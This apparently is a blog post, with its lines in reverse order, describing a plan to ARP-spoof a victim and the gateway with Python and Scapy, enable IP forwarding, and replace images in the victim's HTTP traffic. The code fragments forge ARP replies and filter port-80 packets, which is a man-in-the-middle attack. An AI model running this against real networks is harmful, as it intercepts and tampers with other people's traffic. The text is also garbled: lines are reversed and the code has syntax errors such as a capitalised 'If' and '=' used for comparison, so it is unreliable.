GWayPoison = threading.Thread(target=GatewayPoisoning) VicPoison = threading.Thread(target=VictimPoisoning) Os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') StringGIF=re.findall('.*\.gif', str(StringPacket)) StringPNG=re.findall('.*\.png', str(StringPacket)) StringJPG=re.findall('.*\.jpg', str(StringPacket)) #Just check JPG - rest will be implemented later on #Check if the requests contains an *.jpg, *.png, *.gif #This packet should be sent by every image request If pkt.haslayer(TCP) and pkt.getlayer(TCP).dport = 80 and pkt.getlayer(Raw): GatewayPacket = ARP(pdst=GatewayIP, psrc=VictimIP, op=2) VictimPacket = ARP(pdst=VictimIP, psrc=GatewayIP, op=2) # Source ist the IP-Adress of the Gateway # Destination is the IP-Adress of the Victim If it is an image-request I try to replace that request with my own. If it does, I am gonna check if the request is an image-request. Then I am checking if the packet contains http-raw data. I start with arp spoofing to get into the traffic. I want to replace every picture within the http traffic with a specific one. A short explanation of what I am trying to do :)
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. Archives
June 2023
Categories |